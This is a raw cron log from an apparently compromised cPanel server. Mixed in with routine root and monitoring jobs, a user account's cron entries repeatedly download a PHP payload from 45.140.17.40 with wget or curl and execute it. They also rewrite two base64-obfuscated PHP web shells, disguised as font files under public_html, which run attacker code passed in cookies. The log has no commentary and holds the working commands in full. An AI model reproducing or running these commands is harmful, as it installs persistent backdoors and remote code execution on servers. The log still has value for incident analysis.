Sep 21 16:22:01 ip-184-168-122-23 CROND[8736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:22:01 ip-184-168-122-23 CROND[8737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:22:01 ip-184-168-122-23 CROND[8738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:23:01 ip-184-168-122-23 CROND[8870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:23:01 ip-184-168-122-23 CROND[8873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:23:01 ip-184-168-122-23 CROND[8872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:23:01 ip-184-168-122-23 CROND[8875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:24:01 ip-184-168-122-23 CROND[8985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:24:01 ip-184-168-122-23 CROND[8986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:24:01 ip-184-168-122-23 CROND[8987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:24:01 ip-184-168-122-23 CROND[8991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:24:01 ip-184-168-122-23 CROND[8992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9124]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:25:01 ip-184-168-122-23 CROND[9129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:25:01 ip-184-168-122-23 CROND[9131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:26:01 ip-184-168-122-23 CROND[9280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:26:01 ip-184-168-122-23 CROND[9281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:26:01 ip-184-168-122-23 CROND[9284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:26:01 ip-184-168-122-23 CROND[9282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:26:01 ip-184-168-122-23 CROND[9283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:27:01 ip-184-168-122-23 CROND[9396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:27:01 ip-184-168-122-23 CROND[9399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:27:01 ip-184-168-122-23 CROND[9402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:27:01 ip-184-168-122-23 CROND[9403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:28:01 ip-184-168-122-23 CROND[9602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:28:01 ip-184-168-122-23 CROND[9604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:28:01 ip-184-168-122-23 CROND[9606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:28:01 ip-184-168-122-23 CROND[9608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:28:01 ip-184-168-122-23 CROND[9605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:29:01 ip-184-168-122-23 CROND[9751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:29:01 ip-184-168-122-23 CROND[9750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:29:01 ip-184-168-122-23 CROND[9752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:29:01 ip-184-168-122-23 CROND[9753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:30:01 ip-184-168-122-23 CROND[9882]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:30:01 ip-184-168-122-23 CROND[9885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:30:01 ip-184-168-122-23 CROND[9887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:31:01 ip-184-168-122-23 CROND[10025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:31:01 ip-184-168-122-23 CROND[10028]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 16:31:01 ip-184-168-122-23 CROND[10029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:31:01 ip-184-168-122-23 CROND[10030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:31:01 ip-184-168-122-23 CROND[10027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:32:01 ip-184-168-122-23 CROND[10167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:32:01 ip-184-168-122-23 CROND[10168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:32:01 ip-184-168-122-23 CROND[10169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:32:01 ip-184-168-122-23 CROND[10172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:32:01 ip-184-168-122-23 CROND[10174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:33:01 ip-184-168-122-23 CROND[10288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:33:01 ip-184-168-122-23 CROND[10289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:33:01 ip-184-168-122-23 CROND[10292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:33:01 ip-184-168-122-23 CROND[10294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:34:01 ip-184-168-122-23 CROND[10463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
